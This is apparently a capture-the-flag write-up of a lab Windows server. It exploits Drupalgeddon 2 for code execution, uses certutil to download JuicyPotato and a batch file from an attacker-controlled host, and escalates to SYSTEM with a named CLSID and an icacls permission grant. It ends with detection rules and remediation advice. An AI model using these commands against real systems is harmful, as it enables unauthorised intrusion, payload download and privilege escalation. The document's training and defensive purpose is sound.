Overview
Bastard is a medium-rated Windows machine running Drupal 7.54 on IIS 7.5 with PHP 5.3.28, all hosted on Windows Server 2008 R2 x64. The system has zero hotfixes installed. Every component is well beyond end-of-life.
The Drupal installation is vulnerable to Drupalgeddon 2 (CVE-2018-7600), a
critical unauthenticated RCE flaw in the Form API. The exploit poisons the
form render cache and triggers PHP code execution through an AJAX callback.
Initial access yields a shell as nt authority\iusr, the default IIS
application pool identity.
Privilege escalation abuses SeImpersonatePrivilege (granted to all IIS
worker processes by default) via JuicyPotato. The technique coerces a
privileged COM/DCOM service to authenticate to an attacker-controlled local
COM server, then captures the resulting SYSTEM token. Four CLSIDs failed
before the fifth produced a valid SYSTEM process on Server 2008 R2.
The box demonstrates a fundamental Windows design issue: any IIS service
account with SeImpersonatePrivilege is functionally equivalent to SYSTEM
once an attacker achieves code execution.
Reconnaissance
I start with a service-version scan:
nmap -sC -sV -T4 10.129.15.124
| Port | Service | Product / Version | Notes |
|---|---|---|---|
| 80 | HTTP | Microsoft IIS 7.5 | Drupal 7, 36 robots.txt entries |
| 135 | MSRPC | Microsoft Windows RPC | Standard Windows RPC |
| 49154 | MSRPC | Microsoft Windows RPC | High-port RPC endpoint |
Three ports. The attack surface is web-only: no SMB, no RDP, no WinRM. IIS 7.5 maps to Windows Server 2008 R2 or Windows 7.
The X-Generator header identifies Drupal 7. Two X-Powered-By headers are
present: PHP/5.3.28 and ASP.NET. The ASP.NET header is misleading; IIS
emits it from the managed pipeline regardless of the actual handler. PHP runs
as a FastCGI module under IIS, not through ASP.NET.
Drupal version identification
Drupal ships a CHANGELOG.txt in the web root by default. Unlike WordPress
(which requires plugin enumeration or REST API probing), Drupal’s version is
self-declared:
curl -s http://10.129.15.124/CHANGELOG.txt | head -3
# Drupal 7.54, 2017-02-01
Drupal 7.54 was released on 1 February 2017. The Drupalgeddon 2 patch (SA-CORE-2018-002) shipped in Drupal 7.58 on 28 March 2018. This installation is four minor versions behind the fix.
Attack Surface Analysis
Drupal Form API (CVE-2018-7600)
Drupal 7.54 falls within the Drupalgeddon 2 vulnerability window. I also note
that the REST services module is enabled at /rest, accepting
application/vnd.php.serialized as a content type. This opens a secondary
attack path via PHP object injection (CVE-2019-6340), but Drupalgeddon 2
provides unauthenticated RCE with higher reliability and no dependency on
specific module configuration. I prioritise it.
| Attribute | Value |
|---|---|
| CVE | CVE-2018-7600 |
| CVSS 3.1 | 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| CWE | CWE-20 (Improper Input Validation) |
| Root cause | Unsanitised render array properties in Form API cache |
| Affected | Drupal 7.x before 7.58, 8.x before 8.5.1 |
| Fixed in | Drupal 7.58 / 8.5.1 |
| MITRE ATT&CK | T1190 (Exploit Public-Facing Application) |
Vulnerability Analysis
Drupalgeddon 2 is a two-step exploit targeting Drupal’s render array system.
Render arrays are Drupal’s internal representation of HTML elements; they use
properties prefixed with # (e.g. #type, #markup, #post_render) to
control how content is rendered. The vulnerability exists because the Form API
does not sanitise these properties when they arrive via user input.
Step one: a POST request to the password reset form (/user/password)
injects malicious render array properties into the Drupal form cache. The
attacker sets #post_render to a PHP callback function (e.g. passthru) and
#markup to the shell command. Drupal serialises the entire form state,
including the poisoned properties, into its cache backend.
Step two: a POST to the AJAX endpoint
(/file/ajax/name/#value/{form_build_id}) triggers rendering of the cached
form. Drupal deserialises the form state, processes the render array, and
invokes the #post_render callback with #markup as the argument. The
form_build_id from the first response links the two requests.
The entire chain is unauthenticated because the injection occurs in the password reset form, which must be publicly accessible by design.
The fix in Drupal 7.58 introduces a whitelist of permitted render array
properties in form input, preventing injection of #post_render and related
callback properties.
Exploitation
Step 1: Drupalgeddon 2 RCE
I use the pimps/CVE-2018-7600 PoC script because it correctly handles both steps of the exploit chain (cache poisoning followed by AJAX trigger). Some alternative scripts attempt a single-request approach that fails on Drupal 7.
python3 drupa7-CVE-2018-7600.py http://10.129.15.124 -c "whoami"
# [*] Poisoning form and targeting /user/password
# [*] Result: nt authority\iusr
Code execution as nt authority\iusr. This is the default IIS application
pool identity, not a named user account. It has minimal filesystem privileges
but can traverse user profile directories when NTFS ACLs permit it.
The user flag is readable because the dimitris profile has permissive ACLs
(common on workstation-style configurations where the default user profile
grants read access to Users):
python3 drupa7-CVE-2018-7600.py http://10.129.15.124 \
-c "type C:\Users\dimitris\Desktop\user.txt"
# [redacted]
Step 2: Privilege enumeration
Before selecting an escalation technique, I check which privileges the current process holds:
python3 drupa7-CVE-2018-7600.py http://10.129.15.124 -c "whoami /priv"
# SeAssignPrimaryTokenPrivilege Disabled
# SeIncreaseQuotaPrivilege Disabled
# SeChangeNotifyPrivilege Enabled
# SeImpersonatePrivilege Enabled
# SeCreateGlobalPrivilege Enabled
SeImpersonatePrivilege is the critical finding. This privilege allows the
process to impersonate any client that authenticates to it. IIS grants it to
worker processes because the web server must impersonate connecting users to
serve content under their security context. From an attacker’s perspective, it
is the prerequisite for the entire Potato family of exploits (RottenPotato,
JuicyPotato, PrintSpoofer, GodPotato).
I choose JuicyPotato over alternatives for a specific reason: Server 2008 R2 predates the mitigations that block RottenPotato (patched BITS service) but also predates the print spooler changes that PrintSpoofer targets. JuicyPotato is the most reliable option for this OS generation.
Step 3: JuicyPotato privilege escalation
JuicyPotato works by creating a local COM server on a chosen port, then
triggering a COM/DCOM activation request from a privileged service. When the
service authenticates to the attacker’s COM server, SeImpersonatePrivilege
allows the attacker to capture and duplicate the SYSTEM token, then create a
new process running under that token.
The CLSID parameter selects which COM object to coerce. Each CLSID corresponds
to a specific COM class registered on the system, and valid CLSIDs vary by
Windows version. Using an invalid CLSID produces COM recv failed error 10038
(WSAENOTSOCK), meaning the specified COM class does not exist or does not
support the required activation.
I upload JuicyPotato and a batch file using certutil. I choose certutil
over PowerShell’s Invoke-WebRequest because PHP’s passthru on Windows
returns output from the first process in a pipeline, and certutil is a
single binary with no pipeline required:
python3 drupa7-CVE-2018-7600.py http://10.129.15.124 \
-c "certutil -urlcache -split -f http://10.10.14.5/jp.exe C:\Windows\Temp\jp.exe"
# CertUtil: -URLCache command completed successfully.
python3 drupa7-CVE-2018-7600.py http://10.129.15.124 \
-c "certutil -urlcache -split -f http://10.10.14.5/cmd.bat C:\Windows\Temp\cmd.bat"
The batch file modifies NTFS permissions rather than spawning a reverse shell:
icacls C:\Users\Administrator\Desktop /grant Everyone:F /T
I use icacls instead of a reverse shell because JuicyPotato creates the
SYSTEM process in Session 0 (the non-interactive services session). Outbound
connections from Session 0 are frequently blocked by Windows Firewall rules
that only apply to interactive sessions. A local filesystem operation avoids
this issue entirely.
Four CLSIDs returned COM recv failed error 10038. The ohpe/juicy-potato
repository lists known-good CLSIDs per OS version; I worked through the
Server 2008 R2 list. The fifth succeeded:
python3 drupa7-CVE-2018-7600.py http://10.129.15.124 \
-c "C:\Windows\Temp\jp.exe -l 1337 -p C:\Windows\Temp\cmd.bat -t * -c {e60687f7-01a1-40aa-86ac-db1cbf673334}"
# [+] CreateProcessWithTokenW OK
CreateProcessWithTokenW OK confirms the SYSTEM token was captured and a new
process created. The icacls command in the batch file grants Everyone full
control over the Administrator’s desktop recursively. The root flag is now
readable from the existing iusr context:
python3 drupa7-CVE-2018-7600.py http://10.129.15.124 \
-c "type C:\Users\Administrator\Desktop\root.txt"
# [redacted]
Post-Exploitation
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"Hotfix"
# OS Name: Microsoft Windows Server 2008 R2 Datacenter
# OS Version: 6.1.7600 N/A Build 7600
# Hotfix(s): N/A
Build 7600 with zero hotfixes: the original RTM release with no service packs or updates. This system has never been patched. Every kernel exploit from MS15-051 (CVE-2015-1701, win32k.sys privilege escalation) through MS16-032 (CVE-2016-0099, Secondary Logon service) would work as alternative escalation paths. The JuicyPotato route is the cleanest because it requires no kernel exploitation and leaves no crash artefacts.
The technology stack tells the same story. PHP 5.3.28 reached end-of-life in August 2014. Drupal 7 reached end-of-life in January 2025. Windows Server 2008 R2 extended support ended in January 2020. IIS 7.5 shipped with Server 2008 R2 and receives no further updates. Every layer is unsupported.
Defensive Analysis
Detection opportunities
| Phase | MITRE ATT&CK | Detection |
|---|---|---|
| Reconnaissance | T1595.002 | CHANGELOG.txt access in IIS logs (version fingerprinting) |
| Initial access | T1190 | IDS rule matching render array properties in POST to /user/password |
| Execution | T1059.003 | cmd.exe spawned as child of w3wp.exe (IIS worker) |
| Defence evasion | T1218.003 | certutil used for file download (LOLBin) |
| Privilege escalation | T1134.001 | Anomalous COM/DCOM authentication from IIS worker process |
Network-level: Drupalgeddon 2 has well-known IDS signatures. The poisoned
POST request to /user/password contains distinctive Drupal render array
properties (#post_render, #markup, #type) that no legitimate form
submission would include. Snort rule SID 46316 detects this pattern. The
two-step nature of the exploit also means two correlated requests within
seconds: one to /user/password and one to /file/ajax/, which provides a
secondary detection signal.
Host-level: certutil -urlcache is a known Living Off The Land Binary
(LOLBin) technique. Sysmon Event ID 1 (ProcessCreate) with a command line
containing certutil and -urlcache is a high-confidence indicator. The
subsequent execution of JuicyPotato as a child of w3wp.exe is equally
anomalous. Windows Security Event 4688 (Process Creation) with w3wp.exe as
the parent and cmd.exe or unknown binaries as children is worth alerting on
in any environment.
Remediation
| Priority | Action | Effort | Impact |
|---|---|---|---|
| P0 | Upgrade Drupal to current stable (10.x) | High | Critical |
| P0 | Upgrade OS to Windows Server 2022 | High | Critical |
| P0 | Apply all outstanding hotfixes | Medium | Critical |
| P1 | Upgrade PHP to 8.x | Medium | High |
| P1 | Run IIS application pool as a custom account without SeImpersonatePrivilege | Medium | High |
| P2 | Restrict certutil execution via AppLocker | Low | Medium |
| P2 | Disable the REST services module if not required | Low | Medium |
| P3 | Remove CHANGELOG.txt from the web root | Low | Low |
The fundamental problem is not Drupalgeddon 2; it is the complete absence of patching. A system with zero hotfixes on a decade-old OS is indefensible. Patching Drupal alone does not remediate the risk when the OS kernel, PHP runtime, and IIS web server all contain known exploitable vulnerabilities. The correct action is decommissioning or full rebuild on current-generation software.
Regarding SeImpersonatePrivilege specifically: removing it from IIS
application pool accounts breaks features like Windows Authentication and
impersonation-based file access. In practice, the mitigation is defence in
depth: prevent the initial RCE, and treat any IIS compromise as a full host
compromise in incident response plans.
Key Takeaways
-
SeImpersonatePrivilege on Windows IIS is functionally SYSTEM. Any attacker with code execution as an IIS application pool identity can escalate to SYSTEM via JuicyPotato (Server 2008 R2 through 2016), PrintSpoofer (Server 2016+), or GodPotato (all versions). The privilege exists because IIS needs to impersonate connecting users. Removing it breaks core IIS functionality, which means the real mitigation is preventing code execution in the first place.
-
CLSID selection is OS-version-specific. JuicyPotato requires a valid COM CLSID for the target Windows version. Blindly trying CLSIDs wastes time and generates noise. The ohpe/juicy-potato repository maintains known-good CLSIDs per OS. On this box, four CLSIDs failed before
{e60687f7-01a1-40aa-86ac-db1cbf673334}succeeded. Identifying the OS version accurately during reconnaissance directly reduces time spent on escalation. -
Two-step exploits require understanding, not just execution. Drupalgeddon 2 is frequently reduced to “run the script, get a shell.” Understanding the cache poisoning mechanism matters: the form cache is the persistence layer between requests,
#post_renderis a legitimate Drupal callback mechanism being abused, and the AJAX endpoint is the trigger. When a PoC fails (wrong Drupal version, different cache backend, modified form structure), this understanding is what lets you debug and adapt rather than move on.